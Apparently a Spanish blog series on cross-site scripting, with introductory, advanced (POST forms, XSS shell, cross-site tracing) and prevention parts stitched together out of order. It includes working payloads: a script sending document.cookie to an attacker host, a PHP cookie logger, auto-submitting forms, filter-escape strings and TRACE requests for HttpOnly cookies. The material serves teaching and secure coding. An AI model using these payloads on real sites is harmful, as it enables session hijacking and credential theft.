<script src="http://...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI..." /> archivo script

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH. Incluir datos no confiables en URLs data: no debería estar permitido, debido a que no hay una buena forma de deshabilitar ataques con escapeado para prevenir el salirse de la URL.


Fumata final

Como pudieron ver a lo largo del artículo, la prevención de XSS no es la pavada que puede parecer al principio. Agregar editores de texto enriquecido (osea, aceptar código HTML ingresado por el usuario) complica considerablemente las cosas. Hay que tener mucho cuidado de codificar todo lo ingresado por el usuario, y evitar, siempre que se pueda, colocar datos no confiables en lugares peligrosos como dentro de un script.
Nunca se debe confiar en el browser del cliente. Distintos motores renderizan las cosas a su gusto y muchas veces de forma peligrosa. Por ejemplo, los browsers aceptan tags mal formados como <script (sin el > que cierra). Como pueden leer en las referencias, IE puede hacer cosas locas al intentar decifrar la codificación de caracteres o el contenido de un documento... Firefox también tiene problemas como el uso de la directiva moz-binding para incluir XML.
En fin, la vida del programador no es para nada fácil, pero es importante que al menos tengan noción de los peligros que enfrentan, y tratar de aplicar las 6 reglas que propone OWASP para minimizar riesgos.

Recomiendo altamente la lectura del documento ArticlesXSS de la sección Web Security de los HOWTO de google. También es una exelente lectura el libro XSS Attacks, pero este es pago y tal ves no puedan obtenerlo. Por supuesto que es indispensable leer los artículos de la OWASP para programar de forma segura.

La realización de este artículo me llevó mucho más tiempo que la de los dos anteriores, encontré mucho material y traté de incluir todo lo más relevante. Espero que les sea de utilidad, tanto para programadores como para entusiastas o simples aprendices =)
Si bien con esto cerraría la parte más grosa de XSS, espero poder escribir antes de terminar diciembre algunos complementos más, como el de ataques relacionados, o el de herramientas para detección de XSS. Como siempre, si tienen material para agregar, dejen referencias en los comentarios y tal vez lo incluya en un artículo versión "Lost Chapters" =)


Referencias

- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie)
- XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP
- ArticlesXSS - Web Security - Google
- How To: Prevent Cross-Site Scripting in ASP.NET
- XSS (Cross Site Scripting) Cheat Sheet (RSnake)
- Browser Security Handbook
- Data Validation - OWASP
Rompiendo a lo grande: XSS avanzado
En el artículo anterior de XSS les comenté de qué trataba el ataque, los distintos tipos de ataque (reflejado o persistente), distintas combinaciones para escapar controles del programador, cómo usar distintos tags, formas de engañar al usuario y cómo robar cookies.

La idea es ahora comentar técnicas avanzadas de cross-site scripting, con ataques más rebuscados e interesantes.

Sin más introducción, pasemos entonces a los ataques!


XSS usando el método POST

Por si no lo recuerdan, todos los ataques explicados en el artículo anterior se basaban en el método HTTP GET, sacando el caso del XSS persistente. La razón de esto es que las variables usando el método GET van en la URL, por lo que para realizar el ataque sólo es necesario que el usuario abra un link armado por el atacante.
Para refrescar un poco la memoria, tomen en cuenta el ejemplo donde el script imprimía todo lo pasado por parámetro. Si el parámetro se envía con el método GET, el atacante sólo debería armar una URL del estilo http://www.ejemplo.com/vulnerable.php?param=<SCRIPT>alert('XSS');</SCRIPT>

Ahora piensen en el método HTTP POST. Cuando se usa POST las variables van dentro del cuerpo del mensaje HTTP. Para el que no conozca HTTP, el protocolo cuenta con dos partes, un HEADER donde van distintos parámetros (como la URL que solicitamos y los parámetros GET, el tipo de browser, el sistema operativo, el tipo del mensaje, las cookies, etc), y el CONTENIDO (donde va la página -html,img,xml,etc- en si, o los parámetros POST). El que se encarga de manejar el protocolo del lado del cliente es el browser, el cual arma los paquetes HTTP. Para un usuario es fácil manipular los parámetros GET porque van en la URL, pero no es tan simple manipular los parámetros POST.

Un pedido POST no se puede armar con los parámetros en la URL, así que necesitamos de un formulario. Pero cómo utilizamos un formulario en un ataque XSS no persistente? La respuesta es, usando una página intermedia.
Una vez que el atacante descubre una vulnerabilidad XSS en un parámetro POST de una página www.buenovulnerable.com/vulnerable.php, éste arma un formulario en una página que puede modificar (ya sea en un servidor propio o uno hackeado, pero no viene al caso) como ser www.malomalo.com/xsspost.php. Lo que hace a continuación es enviar al usuario víctima la URL de su página con algún texto que lo incite a visitarla. Cuando el usuario ingresa en www.malomalo.com/xsspost.php, ésta automáticamente envía los parámetros armados por el atacante a www.buenovulnerable.com/vulnerable.php la cual ahora contiene código de atacante (inyectado por XSS a través del método POST). Si el usuario estaba logueado, o utilizando la página www.buenovulnerable.com, el atacante podrá obtener cookies u otra información.

Vallamos al ejemplo phpeano. Por un lado tenemos la página vulnerable con el siguiente código:

Palabra buscada: <?php if(isset($_POST['search'])) print "<B>".$_POST['search']."</B>" ?>
<FORM ACTION="" METHOD="POST">
<INPUT TYPE="TXT" NAME="search" SIZE="20">
<INPUT TYPE="SUBMIT" VALUE="search">
</FORM>

Este ejemplo es igual al planteado en el artículo anterior, donde el script coloca la palabra buscada en el código php, osea, si la variable contiene HTML, el resultado será una página con el HTML incrustado por el atacante.
Dado que el ejemplo utiliza el método POST, necesitamos armar una página intermedia que haga el trabajo. La página intermedia contendrá el siguiente código:

<FORM NAME="attack" ACTION="http://www.buenovulnerable/vulnerable.php" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="search" SIZE="20" VALUE="<SCRIPT>alert('XSS');</SCRIPT>">
</FORM>
<SCRIPT>
setTimeout('attack.submit()', 1);
</SCRIPT>

Como se puede ver, esta página contiene una entrada de formulario con el mismo nombre que el input de la página anterior (el nombre search), pero a diferencia de la anterior, este input está oculto (tipo HIDDEN). Si un usuario visita la página del atacante, ésta cargará el valor <SCRIPT>alert('XSS');</SCRIPT> en la variable search y lo enviará a la página vulnerable. El envío automático lo realiza el código setTimeout('attack.submit()', 1); donde le decimos que haga un submit luego de 1 milisegundo cargada la página.
El resultado es que el usuario termina en la página vulnerable con el JavaScript incrustado, es decir, verá:

Palabra buscada: <B><SCRIPT>alert('XSS');</SCRIPT></B>
<FORM ACTION="" METHOD="POST">
<INPUT TYPE="TXT" NAME="search" SIZE="20">
<INPUT TYPE="SUBMIT" VALUE="search">
</FORM>

Esto es lo mismo que teníamos antes cuando el formulario usaba el método GET y el atacante utilizaba la URL http://www.buenovulnerable/vulnerable.php?search=<SCRIPT>alert('XSS');</SCRIPT>
De esta manera logramos un ataque sobre un formulario que utiliza el método POST en lugar de GET.

El problema de este ataque es que resulta un poco más evidente. Ahora el usuario deberá confiar en una URL externa en lugar de la URL de la página buena, pero el resultado es el mismo! Por lo general muchos usuarios visitan links de páginas dudosas, y con esta falencia sería posible realizar ataques interesantes.


XSS Shell

Luego de haber explorado algunas facetas del XSS nos metemos con los ataques más interesantes. Si todavía no se convencieron de lo peligroso que puede ser el XSS, luego de leer sobre el siguiente ataque lo van a hacer.

XSS Shell (tal vez conocido de otras formas) es un ataque donde el atacante puede manipular el browser de la víctima a través de un set de comandos, durante el tiempo que la víctima mantenga abierta la página afectada.
En un ataque simple, el usuario ejecuta un script malicioso que roba una cookie, manipula la página o alguna otra cosa y termina (una sola oportunidad de ataque). Pero con XSS Shell se utiliza un script que mantiene una conexión con un servidor maligno y responde a comandos enviados por éste. El atacante interactúa con el servidor maligno enviando comandos y recibiendo los resultados. En resumen, existe una conexión entre el servidor y la víctima por la cual un atacante puede enviar los comandos que desee, pudiendo realizar diferentes acciones con un sólo ataque XSS.

Programar el Shell no es tan trivial como en los ejemplos anteriores, así que sólo explicaré una posible forma de implementarlo en lugar de colocar el código en si.
Como se darán cuenta a partir de lo que expliqué arriba, este ataque cuenta con 3 piezas. Por un lado tenemos el servidor maligno, el cual se encarga del contacto con la víctima y de ser el front-end del atacante. Las otras dos partes son el programa que se ejecuta en la máquina de la víctima y el front-end del atacante. Esto se puede observar el la figura de abajo.


El código inyectado en la página primero se conecta al servidor malicioso para descargar el script encargado de recibir comandos y enviar resultados. Este código podría ser algo como el siguiente:
<script language='Javascript' src="http://www.malomalo.com/hack/command.js.php'></script>

El script descargado chequea cada cierto tiempo el servidor en busca de comandos a ejecutar, y si el comando genera algún resultado, el script lo devuelve al servidor. Para hacer este checkeo a intervalos podemos usar AJAX en conjunto con la función JavaScript setInterval (https://developer.mozilla.org/en/DOM/window.setInterval), la cual toma como parámetros una función a ejecutar y el intervalo de tiempo en milisegundos (opcionalmente se pueden pasar parámetros a la función a ejecutar).

Hasta acá ya tenemos el funcionamiento de la víctima, esto es, buscar comandos cada cierto tiempo, ejecutarlos, y enviar resultados cuando sea necesario.
Ahora pasemos al servidor malicioso. El servidor es el encargado de servir el script que ejecuta la víctima, a su vez se encarga de encolar comandos enviados por el atacante y enviarlos a la víctima cuando los solicite (recuerden que la conexión la inicia la víctima, así que el servidor espera a que la víctima pida los comandos). Además el servidor acumula los resultados enviados por las diferentes víctimas (zombies). Un servidor bien hecho puede administrar varios zombies a la vez, así que debe mantener colas separadas de comandos para cada zombie.
Por otro lado, debe encargarse de presentar un front-end para el atacante, el cual podrá seleccionar diferentes comandos y diferentes zombies para que los ejecuten. El atacante también será capaz de obtener datos de los zombies, como cookies, credenciales, etc.

Como se pueden ir imaginando, a través de un XSS Shell se puede tener muchísima funcionalidad y hacer cosas extremadamente graves. Sólo para citar algunos ejemplos de lo que podríamos hacer utilizando este ataque, les dejo la siguiente lista:
- Robo de cookies
- Obtener página actual
- Ejecutar JavaScript arbitrario
- Obtener los movimientos del mouse
- Obtener las teclas presionadas (keylogger)
- Crashear el browser
- Acceso a páginas a través de la víctima (proxy/tunneling)
- Obtener historial de páginas visitadas (usando técnicas como la descripta en mi anterior artículo: Robando información del historial (sin usar JavaScript!))
- Escaneo distribuido de puertos
- Bindshell IPC (enviar comandos a otra máquina en la LAN de la máquina zombie)
- Otros.........

La mayoría de los ataques se pueden realizar como consecuencia del XSS, pero tener un XSS Shell nos permite realizar tantos ataques como deseemos, mientras dure la conexión.

Existen herramientas muy interesantes para probar estos problemas y ver como funcionan:
- BeEF browser exploitation framework - para mi el más completo.
- XSS-Proxy
- XSS Shell


Cross-Site Tracing (XST)

Esta ataque utiliza el XSS en conjunto con el método HTTP TRACE para obtener datos que a través del XSS solo no se podrían obtener.
Comencemos describiendo un poco el método HTTP TRACE. Este método se utiliza/ba para debugging de los servidores Web y viene activado por defecto en muchos servers. Lo único que hace es repetir toda información enviada por el cliente al server, es algo así como un echo. Un ejemplo del método Trace sería como sigue:
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:07:16 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 50

TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

Como se observa, el servidor responde exactamente lo mismo que le enviamos en el pedido. La parte útil para el ataque, es que si armamos un pedido HTTP TRACE desde el browser a una página en la cual se utilizan cookies, el servidor nos responderá copiando las cookies de regreso. Por ejemplo, podríamos obtener el siguiente comportamiento:
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:15:26 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 73

TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

Ustedes dirán, si podemos obtener la cookie enviada por el browser a través de XSS, para qué necesitamos el método TRACE? bueno resulta ser que hay casos en los que no es posible obtener las cookies utilizando JavaScript (u otro lenguaje script ejecutado en el browser).
En browsers como IE6 SP1 y posteriores o Firefox 2.0.0.5 y posteriores, existe una opción de seguridad llamada HttpOnly cookies. Cuando un servidor web envía el parámetro HttpOnly dentro de las cookies, el browser no debería permitir que las cookies sean accesibles utilizando scripts como JavaScript. Esto es, si la opción HttpOnly está activada, una llamada a document.cookie nos devolverá vacío, aún cuando existan cookies. Utilizando esta propiedad se previene el robo de cookies explotando vulnerabilidades XSS, lo cual es muy bueno.
Aca es donde entra en juego el XST. A través de XST se pueden obtener cookies aún cuando está activada la característica HttpOnly. Si armamos un pedido HTTP TRACE desde el browser, éste incorporará la cookie como parte del header (la cual todavía no podemos acceder). Ahora, cuando el servidor responda al pedido TRACE, éste incluirá la cookie como parte de la respuesta... bingo! ahora tenemos la cookie que tanto deseabamos.

Cómo es posible armar un pedido HTTP TRACE utilizando JavaScript? distintos browsers tienen distintos métodos. Para ejemplificar, les dejo los métodos usados por los dos browsers más conocidos, IE y Firefox.
Una forma de realizar este trabajo en Internet Explorer es utilizando el control ActiveX XMLHTTP. Un ejemplo de cómo utilizar esto para obtener cookies es el siguiente (tomado del paper CROSS-SITE TRACING (XST) de Jeremiah Grossman):

<script type="text/javascript">
<!--
function sendTrace () {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://foo.bar",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

En firefox la función a utilizar es muy similar:

<script type="text/javascript">
<!--
function sendTrace()
{
xhttp=new XMLHttpRequest();
xhttp.open("TRACE", "http://foo.bar",false);
xhttp.send();
xmlDoc=xhttp.responseXML;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

El uso de estas funciones tienen una restricción: no permiten al browser conectarse a otro dominio que no sea el de la página que está mostrando. Pero esto igualmente no es problema para realizar el ataque.


Pensamientos Finales

Como habrán podido observar, el XSS es una vulnerabilidad extremadamente riesgosa cuando es explotada por gente que sabe (o que buscó un poco en internet). Espero con este par de artículos haber demostrado el peligro, lo poderosos que pueden ser los ataques, que el XSS no es simplemente un alert('XSS'); De este ataque no se salvó ni google, el cual tuvo que reparar sus sites en más de una ocación.
La sencillez del ataque hace que a simple vista parezca inofensivo y resulta poco respetado, pero no se dejen engañar por las apariencias.

En muchos casos el ataque necesita del factor "usuario desprevenido", pero todos sabemos lo fácil que es aprovechar esta clase de usuarios y que seguramente más de una vez nos ha tocado serlo.
Ahora gracias a twitter se utilizan mucho las tinyURL, las cuales ocultan la verdad detras del link a visitar, algo que impone un riesgo extra. Además, como vimos en el artículo Ocultando URLs con JavaScript, es muy fácil ocultar el verdadero destino de un link.
Por otro lado, el uso de iframes ocultos en la página hace posible que visitemos páginas sin darnos cuenta! Tal vez estemos visitando una página que es perfectamente legal a simple vista, pero que en sus entrañas tenga un iframe que hace a nuestro browser enviar pedidos a una página vulnerable a XSS y así robar cookies.
Formas de hacer que nuestro ataque funcione existen muchas, tal vez para hacer otro artículo, así que por ahora lo dejo aca.


Todavía no termina

Exactamente lo que dice el título, todavía no estoy dispuesto a abandonar el XSS, porque todavía tengo varias cosas interesantes para contar. Por un lado quiero mostrar formas de prevenir el XSS desde la programación, a su vez quiero citar algunas herramientas comerciales y libres que se pueden utilizar para testear esta vulnerabilidad. Por si fuera poco, en un artículo más estaré explicando ataques relacionados al XSS pero que no entran en la definición concreta de este, como ser el Cross-Site Request Forgery (CSRF) o el Cross-zone Scripting...
Si da el tiempo y todavía no se pudrieron del XSS, también me gustaría hablar de un paper sobre cómo evadir controles CSRF usando XSS.
Si leen o conocen de algún otro ataque XSS que no halla citado, haganmelo saber y hablo sobre él en algún artículo adicional.
Hay letra para rato, así que como suelo decir, stay tuned.


Referencias

- Advanced Cross Site Scripting (Gavin Zuchlinski)
- XSS Tunnelling - Tunnelling HTTP traffic through XSS Channels (Ferruh Mavituna)
- Advanced Cross-Site-Scripting with Real-time Remote Attacker Control (Anton Rager)
- CROSS-SITE TRACING (XST) (Jeremiah Grossman)
Cruzando información, Cross-Site Scripting (XSS)
Si hay un ataque que me gusta ese es el Cross-Site Scripting (XSS). Y por qué me gusta tanto? porque es extremadamente simple y permite robar valiosísima información, y lo mejor de todo, es que está presente en casi todos los Web sites que andan dando vuelta!
A continuación voy a tratar de dar un gran pantallazo del XSS, junto con diferentes ejemplos.

ACLARACION: el artículo está dirigido a aquellos que quieran aprender programación web segura, gente dedicada a la seguridad que utiliza el hacking ético para descubrir problemas a solucionar y reportarlos. Para hacer este tipo de ataque deben contar con la aprobación del encargado de la web o quién corresponda.

Se asume que

Este artículo asume que el lector tiene conocimientos básicos de:
- HTML (sobre todo formularios)
- métodos HTTP GET y POST
- JavaScript
- (no excluyente) manejo de sesiones
- (no excluyente) php

Tener una idea de lo anteriormente citado ayudará al lector a comprender mejor los ataques, así como poder entender los ejemplos.


Por qué XSS y no CSS?

Muchos se preguntarán, si se llama Cross-Site Scripting, por qué lo abrevian XSS en lugar de CSS?
El origen de la abreviación es algo simpático. Como muchos sabrán, la abreviación CSS se utiliza para las hojas de estilo llamadas Cascading Style Sheets. Hacer que el ataque se abrevie de la misma manera generaría confusiones, así que se decidió cambiar la C por una X, lo cual congenia perfectamente con la palabra Cross =D


Qué es el XSS?

El XSS es un ataque que se aprovecha de la falta de filtrado de datos salientes. Básicamente el ataque trata sobre inyección de código HTML en alguna variable, la cual, luego de ser procesada por el servidor web, es devuelta dentro del HTML de la página original y ejecutada por el browser de la víctima.
Como siempre, un ejemplo es mejor en este tipo de explicaciones, así que vallamos a eso.
El ejemplo más clásico y tonto (aunque presente en muchos sites), es tener una página que muestra el valor de una variable ingresada por el usuario. Supongamos tener un script php como el siguiente:

Usuario: <?php if(isset($_GET['user'])) print "<B>".$_GET['user']."</B>" ?>
<FORM METHOD="GET" ACTION="">
<INPUT TYPE="TEXT" SIZE="30" NAME="user" />
<INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>

Por si alguno no entiende php, les aclaro que el script es simple, lo único que hace es imprimir el valor de la variable ingresada en el formulario. El resultado de ejecutar el script es el siguiente:


En el funcionamiento normal, un usuario ingresaría su nombre de usuario (en el ejemplo, ingresé demasiadovivo), lo cual nos da el siguiente estado:


Hasta acá todo bien, nada fuera de lo ordinario. Pero momento... qué sucedería si en lugar de ingresar texto ordinario ingreso código HTML??? ya se lo están imaginando? pues si, el código que ingresemos quedará incrustrado en la página... que lindo...
Supongamos que en el campo de texto ingreso el código <SCRIPT>alert('XSS');</SCRIPT>, el resultado que obtendremos es el siguiente:


Oh si, lo que sucedió es que el código JavaScript quedó incrustado en la página, y el browser hizo su trabajo, el cual es ejecutarlo. Si hechamos una mirada al código de esta página encontraremos lo siguiente:

<FORM ACTION="" METHOD="GET">
Usuario: <B><SCRIPT>alert('XSS');</SCRIPT></B><FORM METHOD="GET" ACTION="">
<INPUT TYPE="TEXT" SIZE="30" NAME="user" />
<INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>

Este ejemplo es bien básico e inofensivo, pero sirve perfectamente para mostrar de qué trata el XSS. En las siguientes secciones explicaré los ataques que se pueden realizar usando XSS.


Cómo se puede usar el XSS?

En el ejemplo, el que interactúa con la página es el mismo usuario que recibe el HTML modificado. En un caso de ataque real, los participantes son dos, el atacante que arma el pedido, y la víctima que lo ejecuta.
Volviendo al ejemplo anterior, como se puede ver, los parámetros del formulario se envían con el método GET, esto es, van en la URL de la página. Lo que un atacante se encargaría de hacer es armar una URL que aproveche el XSS y enviársela al usuario para que la abra. En el ejemplo, si suponemos que el nombre del site es www.ejemplo.com, el atacante podría armar la URL http://www.ejemplo.com/xss.php?user=<SCRIPT>alert('XSS')%3B<%2FSCRIPT> y convencer a un usuario para que lo abra. En este caso, el usuario ejecutaría el script que abre el alert.
Como vemos, para que este ataque tenga éxito necesitamos de un factor extra: un usuario que abra la URL armada por el atacante. A este tipo de ataque se lo llama XSS reflejado (reflected). Pero ojo, este no es el único tipo de ataque XSS.

Otra forma de XSS es el llamado persistente. En éste ataque no necesitamos que el usuario abra una dada URL, sino que usamos una fea vulnerabilidad en el site para hacer que nuestro script quede incrustado en la página "para siempre" (de ahí el nombre). Nuevamente, me remito al ejemplo para explicar.
Supongamos que tenemos un guestbook, donde gente puede dejar su comentario acerca del site. Ahora, supongamos que nuestro guestbook es tan pobre que no valida lo que el usuario ingresa y simplemente guarda todo lo que se tipea. Si un visitante coloca código HTML dentro de su comentario, éste quedará incrustado en la página. Esto es lo mismo que sucedía antes, pero peor! ahora el código queda de forma PERMANENTE en el código de la página. Si otro usuario visita el guestbook ejecutará el código dejado por nuestro visitante malicioso.
Para demostrar el ataque, veamos el siguiente código:

<B>Comentarios:</B><BR>
<?php
if(isset($_POST['comment']))
{
$f = fopen("guestbook.txt", "a");
fwrite($f, $_POST['comment']."\n");
fclose($f);
}

if($f = @fopen("guestbook.txt", "r"))
{
while(!feof($f))
{
$comment = fgets($f);
print "<HR>".$comment."<BR>";
}
fclose($f);
}
?>
<FORM METHOD="POST" ACTION="">
<TEXTAREA COLS="60" ROWS="10" NAME="comment"></TEXTAREA><BR>
<INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>

Lo que hace el script php es usar el archivo guestbook.txt como medio para almacenar los comentarios. Si alguien deja un comentario lo almacena en ese archivo, luego lee de ese archivo todos los comentarios. Por simplicidad se asume que cada línea del archivo representa un comentario.
El guestbook con algunos comentarios podría verse de la siguiente forma:


Qué sucede si un usuario simpático nos deja el comentario "mira este XSS: <SCRIPT>alert('XSS');</SCRIPT>" (sin las comillas)?. Lo que sucederá es lo visto en la siguiente imagen:


Dado que el comentario se almacena en guestbook.txt, ahora todo el que visite la página ejecutará el script dejado por nuestro buen amigo. Si bien este tipo de aplicaciones web utilizan bases de datos en lugar de archivos de texto para almacenar los comentarios, el principio es el mismo. Esto es, si en la base de datos almacenamos todo lo que el usuario escribe y luego lo mostramos como tal, tendremos el mismo problema.


Logrando que el usuario ejecute lo que queremos

Como se pueden imaginar, el XSS persistente es mucho más riesgoso que el reflejado, dado que en el persistente el atacante no necesita que la víctima visite una URL armada especialmente, sino que basta con que la víctima visite la página afectada!

Por otro lado, hacer que una persona abra un link armado especialmente es mucho más fácil de lo que se imaginan. Para esto debemos hacer uso de nuestra amiga la ingeniería social, o bien usar un par de trucos.

El caso de la ingeniería social ya lo conocen, o se han enfrentado a el. Supongan que reciben un mail diciendo que visiten un dado link para reactivar su cuenta en www.ejemplo.com. Si ustedes tienen alguna cuenta en www.ejemplo.com, tal vez creerían que esto es cierto, sobre todo, si el link pertenece realmente al dominio www.ejemplo.com. El problema es que tal vez www.ejemplo.com tenga una falencia de XSS, y el atacante podría usar la siguiente url: www.ejemplo.com/renovarcuenta.php?user=<script>alert('xss');</script>. Ahora bien, ver que en el parámetro "user" figura el tag <script> puede resultar sospechoso para algunos, pero teniendo en cuenta las URLs kilométricas que se usan actualmente, tal vez ni vean el tag. Además existen técnicas de ofuscación como URL encoding, donde el mismo ejemplo quedaría de la siguiente forma: www.ejemplo.com%2frenovarcuenta.php%3Fuser%3D%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2fscript%3E

Por supuesto que agregar un script con los tags <script> no es la única forma de realizar un ataque XSS, también es posible utilizar otros tags como IMG, DIV, IFRAME, STYLE, BODY, etc. Tal vez el más interesante de estos es el tag IMG. IMG se usa para agregar una imagen al código HTML. Cuando el browser encuentra el tag IMG, éste busca la imágen en el servidor que corresponda, según el argument SRC. Ahora, qué sucede si colocamos la siguiente etiquieta: <IMG SRC="javascript:alert('xss');"> Cuando el browser encuentre la etiqueta, éste ejecutará el código JavaScript... hermoso! Esto no se limita al tag IMG, pero es el ejemplo más común. Otra forma de utilizar este tag podrían ser: <img src="imagen.jpg" onload="javascript:alert('XSS');" /> Nuevamente, esto no se limita al tag IMG.

En muchos casos deberemos escapar algún tag para inyectar código. Por ejemplo, supongan el caso de un script que mantiene los datos ingresados por el usuario en un campo de texto. El código para hacer tal cosa sería algo como el siguiente:


<FORM ACTION="" METHOD="GET">
<INPUT TYPE="TEXT" NAME="user" VALUE="<?php echo $_GET['user'] ?>" />
<INPUT TYPE="SUBMIT" VALUE="set" />
</FORM>

En este caso, lo que escribamos dentro del campo de texto quedará dentro del valor (propiedad VALUE) del campo de texto. Así por ejemplo si colocamos el valor juan, el código quedará <input type="TEXT" name="user" value="juan"> con lo cual no hay problemas.

Pero nosotros queremos insertar código JS!, si colocamos el simple código citado anteriormente (<script>alert('XSS');</script>), el resultado será: <input type="TEXT" name="user" value="<script>alert('XSS');</script>">. Esto es, quedará todo dentro del campo de texto, lo mismo que sucede cuando ingresamos solamente la palabra juan.
Entonces??? cómo hacemos??? bueno, ingeniárnosla un poco. Qué es lo que no nos permite inyectar código? es el problema de estar encerrados en un tag. Para escapar esto, deberíamos ingresar algo como ">, luego nuestro código y a continuación escapar el resto del tag. Una forma simple de hacer esto es ingresar lo siguiente: "><SCRIPT>alert('XSS');</script><input type="HIDDEN" name="">
El resultado visto por el usuario, luego de ingresar ese código, será:
<input type="TEXT" name="user" value=""><script>alert('XSS');</script><input type="HIDDEN" name="">:
Con lo obtenido, el usuario ejecutará el alert y no verá diferencias en la página (a menos que mire el código).

En la realidad es muy probable que se encuentren con ejemplos donde hace falta escapar un tag. El problema se complica más cuando el script del lado del servidor escapea las comillas u otros valores. Nombrar todas las formas de escapar a estos problemas harían que el artículo sea interminable, además existen varias páginas dedicadas a esto, así que les dejo directamente los links. Páginas con ejemplos muy interesantes son:

http://ha.ckers.org/xss.html
http://htmlpurifier.org/live/smoketests/xssAttacks.php
http://h4k.in/xssinexcess


Poniéndonos serios

Hasta ahora nuestro ataque se basó en ejecutar un simple alert con un mensaje, pero en un ataque real, esto no nos serviría de mucho. Los objetivos más deseados son cookies y credenciales. También es posible realizar redirecciones a otras páginas, modificación de la página, keylogging usando ajax, XSS proxies (de lo cual hablaré más adelante) o incluso ejecución de código malicioso (debido a fallas en el browser).

De los posibles ataques, el que me resulta más interesante es el robo de cookies, debido a lo que implica. Las cookies alojan variables que son usadas para mantener la sesión de un usuario, esto es, el servidor recuerda quién es cada usuario. Cuando un usuario se autentica (con el clásico login-password) el servidor establece un valor random en una variable alojada en una cookie. Esa cookie luego es usada por el servidor para reconocer al usuario y no tener que pedir las credenciales continuamente. Robar una cookie implica obtener la autenticación de un usuario sin conocer las credenciales!

Ahora, cómo hacemos esto? fácil. Así como antes colocábamos un simple alert de JS en el código de la página, nada nos impide colocar la siguiente sentencia:
<script>
document.location="http://www.malomalo.com/stealer.php?cookie=" + document.cookie;
</script>
El código que acabo de copiar hace que el browser cargue una nueva página (www.malomalo.com/stealer.php) enviandole como parámetro la cookie de la página actual!, es decir, le estamos enviando al atacante dueño de evil.com la cookie de la página donde estamos logueados.
Vallamos al ejemplo phpeano. Supongamos que tenemos la siguiente página con autenticación:

<?php session_start(); ?>
buscar:
<FORM METHOD="GET" ACTION="">
<INPUT TYPE="TEXT" SIZE="30" NAME="search" />
<INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>
<?php if(isset($_GET['search'])) print "resultados con la palabra <B>".$_GET['search']."</B><BR><BR>" ?>
<?php
if(isset($_POST['logout']))
{
session_destroy();
unset($_SESSION['user']);
}
function printform()
{
echo '<FORM ACTION="" METHOD="POST">
user: <INPUT NAME="user" TYPE="TEXT" SIZE="20" /><BR>
pass: <INPUT NAME="pass" TYPE="PASSWORD" SIZE="20" /><BR>
<INPUT TYPE="SUBMIT" VALUE="login" />
</FORM>';
}
function printhello()
{
print "hola usuario: ".$_SESSION['user'];
print '<FORM ACTION="" METHOD="POST"><INPUT NAME="logout" TYPE="SUBMIT" VALUE="logout" /></FORM>';
}

if(!isset($_SESSION['user']))
{
if(isset($_POST['user']) && isset($_POST['pass']))
{
if(($_POST['user'] == "demasiadovivo") && ($_POST['pass'] == "123456"))
{
$_SESSION['user'] = "demasiadovivo";
printhello();
}
else
{
echo "el usuario ".$_POST['user']." no existe";
printform();
}
}
else
printform();
}
else
{
printhello();
}
?>

El scriptcito (para nada optimizado) tiene un buscador para ejemplificar el XSS, pero que en realidad no busca nada, y tiene un login, con la autenticación incrustada en el código (osea, el único usuario válido es demasiadovivo pass 123456). La idea es que sea simple para entender el ejemplo.
Una vez que el usuario se autentica, el script guarda el nombre de usuario en una variable de sesión $_SESSION['user']. El servidor envía de forma transparente un ID de sesión, el cual utiliza para reconocer las variables del usuario. Todo este maneje es transparente tanto para el usuario como para el programador, lo único que va en la cookie es el ID de sesión.

El objetivo del atacante en este caso será obtener la cookie con el ID de sesión y reutilizarlo para aparecer autenticado en la página sin proveer el usuario y password. Para esto, aplicando un ataque XSS, el atacante podría armar la siguiente URL y enviarsela a un usuario desprevenido:
http://www.buenobueno.com/xss-authentication.php?search=<script>document.location="http://www.malomalo.com/stealer.php?cookie="+document.cookie;</script>:
donde www.buenobueno.com es el site con la vulnerabilidad XSS y www.malomalo.com es un site del atacante que recibe la cookie.
Para obtener la cookie, el site del atacante podría tener un código como el siguiente:

<?php
if($cookie = $_GET["cookie"]))
{
$f = fopen('cookies.txt', 'a');
fwrite($f, $cookie . "\n\n");
}
?>

De esta forma, cada vez que malomalo reciba una cookie, este la almacenará en un archivo. El código se podría mejorar añadiendo la dirección de la página de la cual robamos la cookie, así si tenemos varias páginas hackeadas, podríamos saber a cual pertenece la cookie.
Cabe aclarar que las cookies no son eternas y expiran luego de un tiempo, o dejan de ser válidas una vez que se ejecuta un session_destroy(), lo cual suele hacerse cuando el usuario aprieta el boton logout. Por ello, el atacante tendrá una ventana de tiempo limitada para utilizar la cookie, pero esto no es problema, proque al código anterior podríamos añadir que el programa envíe un mail al atacante cada vez que recibe una cookie.
